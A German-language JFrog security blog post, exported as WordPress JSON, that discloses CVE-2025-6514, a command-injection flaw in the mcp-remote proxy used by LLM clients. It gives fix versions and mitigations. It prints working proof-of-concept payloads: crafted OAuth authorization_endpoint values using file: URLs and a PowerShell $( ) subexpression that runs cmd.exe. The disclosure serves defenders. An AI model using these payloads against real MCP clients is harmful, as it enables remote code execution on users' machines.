{"id":174282,"date":"2026-09-14T11:06:22","date_gmt":"2026-09-14T09:06:22","guid":{"rendered":"https:\/\/jfrog.com\/blog\/critical-rce-vulnerability-in-mcp-remote-cve-2025-6514-threatens-llm-clients\/"},"modified":"2026-09-14T12:36:46","modified_gmt":"2026-09-14T10:36:46","slug":"2025-6514-critical-mcp-remote-rce-vulnerability","status":"publish","type":"post","link":"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/","title":{"rendered":"Critical RCE Vulnerability in mcp-remote: CVE-2025-6514 Threatens LLM Clients"},"content":{"rendered":"<p>MCP-Remote-Clients anf\u00e4llig f\u00fcr Remote Code Execution_863x300<\/p>\n<p>Das JFrog Security Research Team hat k\u00fcrzlich CVE-2025-6514 entdeckt und offengelegt\u00a0\u2013 eine kritische (CVSS 9.6) Sicherheitsl\u00fccke im Projekt mcp-remote, einem beliebten Tool, das von Clients des Model Context Protocol verwendet wird. Die Schwachstelle erm\u00f6glicht es Angreifern, beliebiger Betriebssystembefehle auf dem Rechner auszuf\u00fchren, auf dem mcp-remote l\u00e4uft, sobald dieser eine Verbindung zu einem nicht vertrauensw\u00fcrdigen MCP-Server herstellt. F\u00fcr Nutzer besteht dadurch ein erhebliches Risiko bis hin zur vollst\u00e4ndigen Kompromittierung des Systems.<\/p>\n<p>mcp-remote ist ein Proxy, der es Hosts von Large Language Models (LLM) wie Claude Desktop erm\u00f6glicht, mit Remote-MCP-Servern zu kommunizieren, selbst wenn diese nativ nur die Kommunikation mit lokalen MCP-Servern unterst\u00fctzen.<\/p>\n<p>W\u00e4hrend zuvor ver\u00f6ffentlichte Untersuchungen bereits Risiken aufgezeigt haben, die entstehen, wenn MCP-Clients eine Verbindung zu b\u00f6sartigen MCP-Servern herstellen. ist dies das erste Mal, dass eine vollst\u00e4ndige Remote Code Execution in einem realen Szenario auf dem Client-Betriebssystem erreicht wurde, wenn eine Verbindung zu einem nicht vertrauensw\u00fcrdigen Remote-MCP-Server hergestellt wird.<\/p>\n<p>Wir m\u00f6chten Glen Maddern (@geelen), dem Hauptmaintainervon mcp-remote, f\u00fcr die umgehende Behebung dieser Schwachstelle danken.<br \/>\nWer ist von CVE-2025-6514 betroffen?<br \/>\nDie Schwachstelle betrifft die mcp-remote-Versionen 0.0.5 bis 0.1.15 und ist seit Version 0.1.16 behoben.<\/p>\n<p>Gef\u00e4hrdet sind alle Nutzer, die eine betroffene Version von mcp-remote verwenden und und damit eine Verbindung zu einem nicht vertrauensw\u00fcrdigen oder unsicheren MCP-Server herstellen.<\/p>\n<p>Unter Windows konnten wir nachweisen, dass diese Schwachstelle die Ausf\u00fchrung beliebiger Betriebssystembefehle erm\u00f6glicht (Shell-Befehle mit vollst\u00e4ndiger Parameterkontrolle).<br \/>\nUnter macOS und Linux f\u00fchrt die Schwachstelle zur Ausf\u00fchrung beliebiger ausf\u00fchrbarer Dateien mit eingeschr\u00e4nkter Parameterkontrolle. Die Ausf\u00fchrung beliebiger Betriebssystembefehle auf diesen Plattformen k\u00f6nnte mit weiterer Forschung ebenfalls m\u00f6glich sein.<br \/>\nAngriffsszenarien:<\/p>\n<p>Szenario 1 \u2013 Ein MCP-Client verwendet mcp-remote, um eine Verbindung zu einem nicht vertrauensw\u00fcrdigen (gehijackten oder b\u00f6sartigen) MCP-Server herzustellen.<\/p>\n<p>Abbildung\u00a01\u00a0\u2013 VerbindungsaufbauAbbildung 1: Ein MCP-Client verwendet mcp-remote, um eine Verbindung zu einem nicht vertrauensw\u00fcrdigen MCP-Server herzustellen.<\/p>\n<p>Szenario\u00a02\u00a0\u2013 Ein MCP-Client verwendet mcp-remote, um eine unsichere Verbindung zu einem MCP-Server herzustellen (das URL-Schema des Servers ist http), w\u00e4hrend Angreifer im lokalen LAN einen Man-in-the-Middle-Angriff durchf\u00fchren, um den MCP-Datenverkehr zu kapern. Dieses Szenario ist in lokalen Netzwerken besonders wahrscheinlich, da MCP-Clients LAN-basierten MCP-Servern eher vertrauen und daher eher eine unsichere Verbindung zu ihnen herstellen.<\/p>\n<p>Abbildung\u00a02\u00a0\u2013 Angreifer-RedirectAbbildung 2: Ein MCP-Client verwendet mcp-remote, um eine unsichere Verbindung zu einem MCP-Server herzustellen, w\u00e4hrend lokale Angreifer den MCP-Datenverkehr umleiten\/kontrollieren<\/p>\n<p>Wie l\u00e4sst sich CVE-2025-6514 entsch\u00e4rfen?<br \/>\nCVE-2025-6514 l\u00e4sst sich durch eine der folgenden Ma\u00dfnahmen entsch\u00e4rfen:<\/p>\n<p>Aktualisieren Sie mcp-remote auf Version 0.1.16, die einen Fix f\u00fcr diese Schwachstelle enth\u00e4lt. Das ist die empfohlene L\u00f6sung.<br \/>\nStellen Sie nur Verbindungen zu vertrauensw\u00fcrdigen MCP-Servern her und verwenden Sie dabei HTTPS (sichere Verbindung).<\/p>\n<p>MCP-Transport\u00a0\u2013 lokal vs. remote<br \/>\nDas Model Context Protocol (MCP) ist ein offener Standard, der im November\u00a02024 eingef\u00fchrt wurde und schnell gro\u00dfe Verbreitung und Akzeptanz fand. Er erm\u00f6glicht KI-Assistenten und LLM-Hosts, sich in Echtzeit sicher mit externen Datenquellen, Tools und Services zu verbinden und mit ihnen zu interagieren. Dadurch k\u00f6nnen diese KI-Systeme auf Live-Informationen aus Datenbanken, APIs und Anwendungen zugreifen, w\u00e4hrend gleichzeitig Sicherheit und die Kontrolle der Nutzer dar\u00fcber gewahrt bleiben, auf welche Daten die Modelle zugreifen k\u00f6nnen.<br \/>\nAbbildung 3 \u2013 LLM-AnwendungAbbildung 3: Eine LLM-Anwendung verwendet einen lokalen MCP-Server, der auf demselben Rechner l\u00e4uft<br \/>\nUrspr\u00fcnglich wurden MCP-Server lokal bereitgestellt und auf demselben Rechner wie die LLM-Anwendung ausgef\u00fchrt. Inzwischen gibt es Remote-MCP-Server, die es mehreren LLM-Anwendungen erm\u00f6glichen, dieselbe MCP-Server-Instanz zu nutzen, w\u00e4hrend gleichzeitig der betriebliche Aufwand f\u00fcr die Wartung und Aktualisierung von Servern in einzelnen Installationen reduziert wird.<br \/>\nAbbildung\u00a04-Remote-MCP-ServerAbbildung\u00a04: Eine LLM-Anwendung nutzt einen Remote-MCP-Server, indem sie lokal mit mcp-remote kommuniziert, das die Kommunikation \u00fcber HTTP an den Remote-MCP-Server weiterleitet<br \/>\nDas Tool mcp-remote erlangte in der KI-Community Popularit\u00e4t, als erste Implementierungen von Remote-MCP-Servern aufkamen, w\u00e4hrend die meisten MCP-Clients immer noch nur die Verbindung zu lokalen Servern unterst\u00fctzten.<\/p>\n<p>Das Tool erm\u00f6glicht Anwendungen, die nur den lokalen MCP-Transport \u00fcber STDIO unterst\u00fctzen (wie Claude Desktop, Cursor und Windsurf), \u00fcber den HTTP-Transport eine Verbindung zu Remote-MCP-Servern herzustellen, indem es als Proxy fungiert.<\/p>\n<p>mcp-remote ist weit verbreitet, wie unter anderem die offizielle Dokumentation von Cloudflare, die auth0-Integrationsdocs, der Blog von Hugging Face sowie Tutorials zur Einf\u00fchrung von Remote-MCP zeigen.<\/p>\n<p>Beachten Sie, dass LLM-Hosts wie Cursor und Windsurf in den vergangenen Wochen die M\u00f6glichkeit hinzugef\u00fcgt haben, sich direkt mit Remote-MCP-Servern zu verbinden. Dar\u00fcber hinaus hat Anthropic diese Funktion auch f\u00fcr Nutzer von Claude Desktop mit kostenpflichtigem Abonnement verf\u00fcgbar gemacht.<br \/>\nZusammenfassung von CVE-2025-6514<br \/>\nWenn Nutzer ihren LLM-Host, z.\u00a0B. Claude Desktop, so konfigurieren m\u00f6chten, dass er eine Verbindung zu einem Remote-MCP-Server herstellt, bearbeiten sie die Konfigurationsdatei von Claude und f\u00fcgen dort einen mcp-remote-Befehl hinzu, der nur die URL des Remote-MCP-Servers enth\u00e4lt.<br \/>\n{<br \/>\n&#8220;mcpServers&#8221;: {<br \/>\n&#8220;remote-mcp-server-example&#8221;: {<br \/>\n&#8220;command&#8221;: &#8220;npx&#8221;,<br \/>\n&#8220;args&#8221;: [<br \/>\n&#8220;mcp-remote&#8221;,<br \/>\n&#8220;http:\/\/remote.server.example.com\/mcp&#8221;<br \/>\n]<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\nAbbildung 5: Beispiel einer MCP-JSON-Konfigurationsdatei, die mithilfe von von mcp-remote einen Remote-MCP-Server konfiguriert<br \/>\nNach dem Speichern der Konfiguration oder dem Neustart von Claude Desktop beginnt mcp-remote mit der ersten Kommunikation mit dem MCP-Server. Der Server kann dabei eine Authentifizierung anfordern. Anschlie\u00dfend fragt mcp-remote beim Server die Metadaten seiner OAuth-Endpunkte ab. Der Server antwortet unter anderem mit seiner authorization_endpoint-URL (z.\u00a0B. https:\/\/remote.server.example.com\/authorize), die im Browser ge\u00f6ffnet werden soll, damit der Nutzer dort seine Zugangsdaten eingeben kann.<\/p>\n<p>Um die Schwachstelle auszunutzen, kann ein b\u00f6sartiger MCP-Server mit einem speziell pr\u00e4parierten authorization_endpoint-URL-Wert antworten, wie in der folgenden Abbildung dargestellt:<br \/>\nAbbildung 6 \u2013 Initialisierung der Remote-VerbindungAbbildung 6: mcp-remote initialisiert die Verbindung mit einem b\u00f6sartigen MCP-Server<br \/>\nmcp-remote wird versuchen, diese speziell pr\u00e4parierte URL in einem Browser zu \u00f6ffnen. Aufgrund von CVE-2025-6514 f\u00fchrt das zu einer Command Injection, durch die der Angreifer beliebige Betriebssystembefehle ausf\u00fchren kann.<br \/>\nRemote-MPC\u00a0\u2013 Abbildung\u00a07<br \/>\nAbbildung\u00a07: calc.exe wird infolge unseres Exploits ausgef\u00fchrt<\/p>\n<p>Technische Details zu CVE-2025-6514<br \/>\nmcp-remote fungiert als Proxy zwischen dem lokalen (STDIO) MCP-Transport und dem Remote-(Streamable\/SSE\u00a0\u2013 HTTP-basierte Protokolle)Transport und stellt gleichzeitig Authentifizierungs-\/Autorisierungsfunktionen bereit.<\/p>\n<p>Um mit mcp-remote einen neuen Remote-MCP-Server einzurichten, muss der Nutzer lediglich die Server-URL in die JSON-Konfigurationsdatei des MCP-Clients einf\u00fcgen\u00a0\u2013 wie in Abbildung\u00a05 oben dargestellt.<\/p>\n<p>Beim erneuten \u00d6ffnen der MCP-Client-Anwendung, beispielsweise Claude Desktop, wird der angegebene npx-Befehl ausgef\u00fchrt, ein Node-Prozess erstellt und die Funktion proxy.ts:runProxy von mcp-remote mit dem serverUrl-Parameteranbieter in der obigen Konfigurationsdatei gestartet.<\/p>\n<p>Diese Funktion erstellt ein NodeOAuthClientProvider-Objekt, das verwendet werden soll, falls der Remote-Server eine Autorisierung erfordert.<\/p>\n<p>Schlie\u00dflich wird ein StreamableHTTPClientTransport-Objekt erstellt und dessen send-Methode mit dem angegebenen serverUrl-Parameter aufgerufen. Die Anfrage, in diesem Fall an \u201ehttp:\/\/remote.server.example.com\/mcp\u201c, erh\u00e4lt vom \u201eb\u00f6sartigen\u201c Server eine \u201e401 Unauthorized\u201c-Antwort \u00a0\u2013 was dazu f\u00fchrt, dass der Client die Funktion auth.ts:auth aufruft, um die Autorisierung zu starten.<br \/>\nSchauen wir uns an, was in der auth-Funktion passiert, die zur besseren Verst\u00e4ndlichkeit vereinfacht dargestellt wurde:<\/p>\n<p>export async function auth(<br \/>\nprovider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise {<br \/>\nlet authorizationServerUrl = serverUrl;<br \/>\ntry {<br \/>\n\/* ### 1 ### *\/<br \/>\nconst resourceMetadata = await discoverOAuthProtectedResourceMetadata(<br \/>\nresourceMetadataUrl || serverUrl);<br \/>\n\/* &#8230; *\/<br \/>\n} catch (error) {console.warn(&#8220;Could not load OAut..&#8221;, error)}<\/p>\n<p>\/* ### 2 ### *\/<br \/>\nconst metadata = await discoverOAuthMetadata(authorizationServerUrl);<\/p>\n<p>\/\/ Handle client registration if needed<br \/>\nlet clientInformation = await Promise.resolve(provider.clientInformation());<br \/>\nif (!clientInformation) {<br \/>\n\/* &#8230; *\/<br \/>\n\/* ### 3 ### *\/<br \/>\nconst fullInformation = await registerClient(serverUrl, {<br \/>\nmetadata,<br \/>\nclientMetadata: provider.clientMetadata });<br \/>\n\/* &#8230; *\/<br \/>\n}<\/p>\n<p>\/* &#8230; *\/<\/p>\n<p>\/\/ Start new authorization flow<br \/>\n\/* ### 4 ### *\/<br \/>\nconst { authorizationUrl, codeVerifier } = await startAuthorization(authorizationServerUrl, {<br \/>\nmetadata,<br \/>\nclientInformation,<br \/>\nredirectUrl: provider.redirectUrl,<br \/>\nscope: scope || provider.clientMetadata.scope,<br \/>\n});<\/p>\n<p>await provider.saveCodeVerifier(codeVerifier);<br \/>\n\/* ### 5 ### *\/<br \/>\nawait provider.redirectToAuthorization(authorizationUrl);<br \/>\nreturn &#8220;REDIRECT&#8221;;<br \/>\n}<\/p>\n<p>Abbildung\u00a08: Vereinfachtes Snippet der auth-Funktion aus auth.ts (offizielles MCP TypeScript SDK)<br \/>\nDiese Funktion wird verwendet, um den OAuth-Autorisierungsablauf zu starten. Gehen wir die mit ### nummerierten Inline-Kommentare der Reihe nach durch:<\/p>\n<p>Wir umgehen die Logik von discoverOAuthProtectedResourceMetadata, indem unser Server auf die Fetch-Anfrage dieser Funktion (http:\/\/remote.server.example.com\/.well-known\/oauth-protected-resource) mit 401 Unauthorized antwortet.<br \/>\nAnschlie\u00dfend wird discoverOAuthMetadata aufgerufen und ruft OAuth-Metadaten vom Endpoint \/.well-known\/oauth-authorization-server unseres Servers ab. Dieser gibt ein JSON-Objekt zur\u00fcck, das OAuth-Endpunkte und Konfigurationsparameter auflistet. In dieser Antwort ist das Feld authorization_endpoint enthalten. Dessen Wert enth\u00e4lt normalerweise eine Standard-HTTP-URL zur Authentifizierung von Nutzern. Um jedoch die Ausf\u00fchrung eines Befehls auszul\u00f6sen, gibt der b\u00f6sartige Server einen speziell pr\u00e4parierten Wert zur\u00fcck:<\/p>\n<p>{&#8220;authorization_endpoint&#8221;: &#8220;file:\/c:\/windows\/system32\/calc.exe&#8221;,<br \/>\n&#8220;registration_endpoint&#8221;: &#8220;https:\/\/remote.server.example.com\/register&#8221;,<br \/>\n\/* \u2026 *\/<br \/>\n&#8220;code_challenge_methods_supported&#8221;: [&#8220;S256&#8221;]}<\/p>\n<p>Anschlie\u00dfend erfolgt die dynamische Client-Registrierung: Beim Zugriff auf unseren \/register-Endpunkt geben wir eine g\u00fcltige Antwort zur\u00fcck, sodass der Ablauf fortgesetzt wird.<br \/>\nDie Funktion startAuthorization wird aufgerufen (siehe unten) und verwendet den String metadata.authorization_endpoint, den wir in Schritt\u00a02 oben angegeben haben, um eine neue URL() zu erstellen. Anschlie\u00dfend werden Abfrageparameter (Query-String-Parameter) hinzugef\u00fcgt und das Ergebnis zur\u00fcckgegeben:<\/p>\n<p>export async function startAuthorization(<br \/>\nserverUrl, {metadata, clientInformation, redirectUrl, scope } {<br \/>\nif (metadata) {<br \/>\nauthorizationUrl = new URL(metadata.authorization_endpoint); \/\/javascript:$(calc.exe)<br \/>\n\/* &#8230; checks some metadata params that pass &#8230; *\/<br \/>\n}<br \/>\n\/* &#8230; *\/<br \/>\n\/* adding searchParams (query-string) to the authorizationUrl *\/<br \/>\nauthorizationUrl.searchParams.set(&#8220;response_type&#8221;, responseType);<br \/>\n\/* &#8230; *\/<br \/>\nreturn { authorizationUrl, codeVerifier };<br \/>\n}<\/p>\n<p>Abbildung\u00a09: Vereinfachtes Snippet der startAuthorization-Funktion aus auth.ts (offizielles MCP TypeScript SDK)<\/p>\n<p>Abschlie\u00dfend ruft provider.redirectToAuthorization(authorizationUrl) die Methode redirectToAuthorization unseres Objekts NodeOAuthClientProvider auf, das sich in node-oauth-client-provider.ts befindet:<\/p>\n<p>async redirectToAuthorization(authorizationUrl: URL): Promise {<br \/>\nlog(`\\nPlease authorize this client by visiting:\\n${authorizationUrl.toString()}\\n`)<br \/>\ntry {<br \/>\nawait open(authorizationUrl.toString()) \/* ### 6 ### *\/<br \/>\nlog(&#8216;Browser opened automatically.&#8217;)<\/p>\n<p>} catch (error) {<br \/>\n\/* &#8230; *<br \/>\n}<br \/>\n}<\/p>\n<p>Abbildung\u00a010: Vereinfachtes Snippet der redirectToAuthorization-Funktion aus node-oauth-client-provider.ts<\/p>\n<p>Die Funktion open() wird aus dem npm-Paket \u201eopen\u201c importiert.\u00a0\u00a0open(param) f\u00fchrt auf Windows-Rechnern Folgendes aus*:<\/p>\n<p>Ermittelt den powershell.exe-Pfad<br \/>\nErstellt einen codierten PowerShell-Befehl vor, der das param-Argument ausf\u00fchrt.<br \/>\nF\u00fchrt dieses in einem neuen Subprozess mit der folgenden Befehlszeile aus:<\/p>\n<p>powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand &#8216;UwB0AGEAcgB0ACAAIgBqAGEAdgB\u2026.=&#8217;<\/p>\n<p>PowerShell dekodiert den Befehl und f\u00fchrt ihn aus. In unserem Fall wird dadurch calc.exe ausgef\u00fchrt:<\/p>\n<p>Start &#8220;file:\/c:\/windows\/system32\/calc.exe?response_type=code\u2026..&#8221;<\/p>\n<p>* Das ,open\u2018-Paket verwendet unter macOS und Linux unterschiedliche Codepfade und f\u00fchrt entsprechend \u201eopen URL\u201c bzw. \u201exdg-open URL\u201c aus. Zwar k\u00f6nnen diese Implementierungen auch ausgenutzt werden, um beliebige ausf\u00fchrbare Dateien \u00fcber file:\/\/-URLs zu starten, jedoch ist die Angriffsfl\u00e4che eingeschr\u00e4nkter, da keine Shell aufgerufen wird und sich dadurch die M\u00f6glichkeit zur Steuerung der Argumente der ausf\u00fchrbaren Datei begrenzen l\u00e4sst.<\/p>\n<p>Von eingeschr\u00e4nkter zu vollst\u00e4ndiger Befehlsausf\u00fchrung<br \/>\nDas Schl\u00fcsselwort Start, das sich auf das PowerShell-Cmdlet Start-Process bezieht, kann eine ausf\u00fchrbare Datei starten oder sie f\u00fcr Dateierweiterungs-Zuordnungen oder Protokoll-Handler (URI-Schemata) an die Windows Shell \u00fcbergeben.<\/p>\n<p>Da der String authorization_endpoint zum Erstellen einer new URL() verwendet wird, muss er in einem g\u00fcltigen URL-Format vorliegen und mit einem URI-Schema beginnen.<\/p>\n<p>Wird &#8220;file:\/c:\/windows\/system32\/calc.exe?response_type=code\u2026..\u201d angegeben, wird \u00fcber das file:-URI-Schema die ausf\u00fchrbare Datei calc.exe gestartet.<br \/>\nAbbildung 11 \u2013 Remote ExecutionAbbildung\u00a011: mcp-remote f\u00fchrt den Prozess calc.exe aus, obwohl eigentlich ein Browser zur Autorisierung ge\u00f6ffnet werden soll<br \/>\nJetzt k\u00f6nnen wir jede beliebige ausf\u00fchrbare Datei starten, jedoch ohne Argumente\u00a0\u2013 was noch nicht ausreichend ist.<\/p>\n<p>Wir k\u00f6nnen versuchen, eine Remote-Datei auszuf\u00fchren, indem wir URLs wie \u201efile:\/\/IP_ADDR\/Share\/test.bat?response_type=code\u2026..\u201c verwenden, die auf einen UNC-Pfad f\u00fcr den Zugriff auf Netzwerkressourcen verweisen (beachten Sie die doppelten Backslashes).<\/p>\n<p>Es funktioniert\u00a0\u2013 allerdings gibt Windows eine Sicherheitswarnung bez\u00fcglich der Ausf\u00fchrung einer Remote-Anwendung aus:<br \/>\nRemote-MCP\u00a0\u2013 Abbildung\u00a012: Sicherheitswarnung, die beim Versuch angezeigt wird, einen UNC-Pfad auszuf\u00fchrenRemote-MPC \u2013 Abbildung 13<br \/>\nVersuchen wir eine andere Strategie: Da der Befehl innerhalb einer PowerShell ausgef\u00fchrt wird, k\u00f6nnen wir die Subexpression-Auswertung zur Einschleusung unserer Befehle missbrauchen: \u201ehttp:\/\/www.example$(calc.exe).com\/?response_type=code\u2026..\u201c. Dadurch wird calc.exe ausgef\u00fchrt, da der Subexpression-Operator $( ) seinen Parameterausdruck auswertet (ausf\u00fchrt).<\/p>\n<p>Wenn wir ein Leerzeichen angeben k\u00f6nnten, w\u00fcrde uns diese Technik erm\u00f6glichen, beliebige Parameter in den Befehl einzuschleusen. Da unser String jedoch zuvor URL() durchlief und Leerzeichen in URLs nicht zul\u00e4ssig sind, schl\u00e4gt entweder der Aufruf von new URL() fehl\u00a0\u2013 falls es sich innerhalb der Domain befindet\u00a0\u2013 oder es wird zu %20 URL-codiert. Beispielsweise wird die Eingabe \u201ehttp:\/\/www.example.com\/$(cmd.exe \/c echo test)\u201c umgewandelt in \u201ehttp:\/\/www.example.com\/$(cmd.exe%20\/c%20echo%20test)\/?response_type=code\u2026..\u201c.<br \/>\nDasselbe geschieht bei Versuchen mit \u201efile:\u201c.<\/p>\n<p>Schlie\u00dflich stellten wir fest, dass bei Angabe eines nicht existierenden Schemas, das keinen Backslash enth\u00e4lt, keine URL-Kodierung erfolgt. Dadurch k\u00f6nnen wir \u201ea:$(cmd.exe \/c whoami &gt; c:\\\\temp\\\\pwned.txt)?response_type=code\u2026..\u201c angeben und eine vollst\u00e4ndige Befehlsausf\u00fchrung erreichen!<\/p>\n<p>Abbildung\u00a013: Eine neue Datei pwned.txt wurde infolge unseres Befehls cmd.exe \/c in C:\\temp erstellt \u00a0\u2013 ein Beleg daf\u00fcr, dass die Codeausf\u00fchrung erfolgreich war.<\/p>\n<p>Zusammenfassung<br \/>\nMit der Entdeckung von CVE-2025-6514 haben wir gezeigt, dass bei einer Verbindung zu nicht vertrauensw\u00fcrdigen MCP-Servern eine Remote Code Execution m\u00f6glich ist. Wie bereits erw\u00e4hnt, haben LLM-Hosts wie Cursor, Windsurf und Claude nun \u00e4hnliche Funktionen f\u00fcr Remote-MCP-Verbindungen hinzugef\u00fcgt. MCP-Nutzer sollten besonders darauf achten, ausschlie\u00dflich \u00fcber sichere Verbindungsmethoden (HTTPS) auf vertrauensw\u00fcrdige MCP-Servern zuzugreifen, da im stetig wachsenden MCP-\u00d6kosystem \u00e4hnliche Schwachstellen wie CVE-2025-6514 entdeckt werden k\u00f6nnten.<\/p>\n<p>Um \u00fcber weitere Angriffe und Zero-Day-Schwachstellen auf dem Laufenden zu bleiben, besuchen Sie das JFrog Security ResearchCenter. Dort erhalten Sie aktuelle Informationen zu CVEs, Schwachstellen und deren Behebung.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>MCP-Remote-Clients anf\u00e4llig f\u00fcr Remote Code Execution_863x300 Das JFrog Security Research Team hat k\u00fcrzlich CVE-2025-6514 entdeckt und offengelegt\u00a0\u2013 eine kritische (CVSS 9.6) Sicherheitsl\u00fccke im Projekt mcp-remote, einem beliebten Tool, das von Clients des Model Context Protocol verwendet wird. Die Schwachstelle erm\u00f6glicht es Angreifern, beliebiger Betriebssystembefehle auf dem Rechner auszuf\u00fchren, auf dem mcp-remote l\u00e4uft, sobald dieser eine &hellip;<\/p>\n","protected":false},"author":590,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10157],"tags":[11034,11014,11015,10848,10348],"class_list":["post-174282","post","type-post","status-publish","format-standard","hentry","category-sicherheit-und-devsecops","tag-mcp-de","tag-rce-de","tag-cve-de","tag-vulnerabilities-de","tag-security-research-de"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v22.6 (Yoast SEO v22.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>CVE-2025-6514 bedroht LLM-Clients<\/title>\n<meta name=\"description\" content=\"Erfahren Sie, wie das Sicherheitsforschungstesm von JFrog CVE-6514 entdeckt und offengelegt hat \u2013 eine kritische Schwachstelle im Projekt mcp-remote, das von Model-Context-Protocol-Clients verwendet wird.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/174282\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Critical RCE Vulnerability in mcp-remote: CVE-2025-6514 Threatens LLM Clients\" \/>\n<meta property=\"og:description\" content=\"Erfahren Sie, wie das Sicherheitsforschungstesm von JFrog CVE-6514 entdeckt und offengelegt hat \u2013 eine kritische Schwachstelle im Projekt mcp-remote, das von Model-Context-Protocol-Clients verwendet wird.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\" \/>\n<meta property=\"og:site_name\" content=\"JFrog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/artifrog\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-14T09:06:22+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-14T10:36:46+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/07\/06204255\/MCP-Remote-Clients-Exposed-to-Remote-Code-Execution.png\" \/>\n<meta name=\"author\" content=\"drewt\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@jfrog\" \/>\n<meta name=\"twitter:site\" content=\"@jfrog\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"drewt\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\"},\"author\":{\"name\":\"drewt\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28\"},\"headline\":\"Critical RCE Vulnerability in mcp-remote: CVE-2025-6514 Threatens LLM Clients\",\"datePublished\":\"2026-09-14T09:06:22+00:00\",\"dateModified\":\"2026-09-14T10:36:46+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\"},\"wordCount\":2214,\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/de\/#organization\"},\"keywords\":[\"mcp\",\"rce\",\"cve\",\"vulnerabilities\",\"security-research\"],\"articleSection\":[\"Sicherheit und DevSecOps\"],\"inLanguage\":\"de-DE\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\",\"url\":\"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\",\"name\":\"CVE-2025-6514 bedroht LLM-Clients\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/de\/#website\"},\"datePublished\":\"2026-09-14T09:06:22+00:00\",\"dateModified\":\"2026-09-14T10:36:46+00:00\",\"description\":\"Erfahren Sie, wie das Sicherheitsforschungstesm von JFrog CVE-6514 entdeckt und offengelegt hat \u2013 eine kritische Schwachstelle im Projekt mcp-remote, das von Model-Context-Protocol-Clients verwendet wird.\",\"breadcrumb\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#breadcrumb\"},\"inLanguage\":\"de-DE\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/jfrog.com\/de\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Critical RCE Vulnerability in mcp-remote: CVE-2025-6514 Threatens LLM Clients\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/jfrog.com\/de\/#website\",\"url\":\"https:\/\/jfrog.com\/de\/\",\"name\":\"JFrog\",\"description\":\"Deliver Trusted Software Releases at Speed and Scale\",\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/de\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/jfrog.com\/de\/?s={search_term_string}\"},\"query-input\":\"required 